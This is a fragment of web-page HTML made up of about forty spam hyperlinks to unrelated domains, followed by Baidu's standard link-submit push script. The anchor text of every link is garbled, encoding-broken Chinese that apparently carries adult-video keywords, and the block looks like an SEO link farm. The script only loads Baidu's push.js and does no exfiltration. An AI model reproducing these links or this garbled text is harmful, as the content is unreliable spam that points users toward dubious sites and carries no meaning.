target="_blank">޳aƬ߹ۿձ</a>| <a href="http://huianpawn.com" target="_blank">þþþAvר</a>| <a href="http://6668889.com" target="_blank">һŷһ</a>| <a href="http://tjbdyx.com" target="_blank">Ƶѹۿվ</a>| <a href="http://liuxilife.com" target="_blank">ɫƷva߹ۿƵ</a>| <a href="http://minliusoft.com" target="_blank">99reƵ</a>| <a href="http://chiguigu.com" target="_blank">ѹۿͰŮƵ</a>| <a href="http://zblinghang.com" target="_blank">zzjjzzjjƵȫ</a>| <a href="http://hbgksy.com" target="_blank">ŷޡŹһ</a>| <a href="http://ningxialanh.com" target="_blank">337pձŷ޴ɫ </a>| <a href="http://ahtxjk.com" target="_blank">VAĻ</a>| <a href="http://vcnxa.com" target="_blank">޹˾ƷӰ</a>| <a href="http://xxxxcccc.com" target="_blank">޾Ʒ߹ۿ</a>| <a href="http://my55572.com" target="_blank">99Ƶ߹ۿ</a>| <a href="http://szwangzhongwang.com" target="_blank">ѸƵ</a>| <a href="http://www-566846.com" target="_blank">wwwһƵcom</a>| <a href="http://wenfaka.com" target="_blank">޹Ʒþþþþ</a>| <a href="http://1178767.com" target="_blank">ҸŮˬ߳Ƭ</a>| <a href="http://xzgfbxg.com" target="_blank">Ļ߿</a>| <a href="http://sczssc.com" target="_blank">Ʒѹۿþ</a>| <a href="http://kssijia.com" target="_blank">˾þóۺӰԺ</a>| <a href="http://zisewang.com" target="_blank">ŷ޾Ʒþ</a>| <a href="http://whdysdt.com" target="_blank">˳߹ۿa</a>| <a href="http://lzlcp.com" target="_blank">aѹۿվ</a>| <a href="http://wuiso.com" target="_blank">Ƶ</a>| <a href="http://sshc5.com" target="_blank">þ޾ƷVA</a>| <a href="http://dnf1000.com" target="_blank">AVһɫ</a>| <a href="http://aqdav22.com" target="_blank">Ůcaoվѿ߿</a>| <a href="http://sh-shule.com" target="_blank">ƵС˵</a>| <a href="http://directzx.com" target="_blank">VAĻһ</a>| <a href="http://biarn.com" target="_blank">޾ƷavƬ</a>| <a href="http://html5text.com" target="_blank">þþƷ</a>| <a href="http://hidiaoyan.com" target="_blank">Ʒ</a>| <a href="http://xjdz8.com" target="_blank">޻ɫƬ߹ۿ</a>| <a href="http://dstbxg.com" target="_blank">һѹۿƵ </a>| <a href="http://tom-erc20.com" target="_blank">޾Ʒר2</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>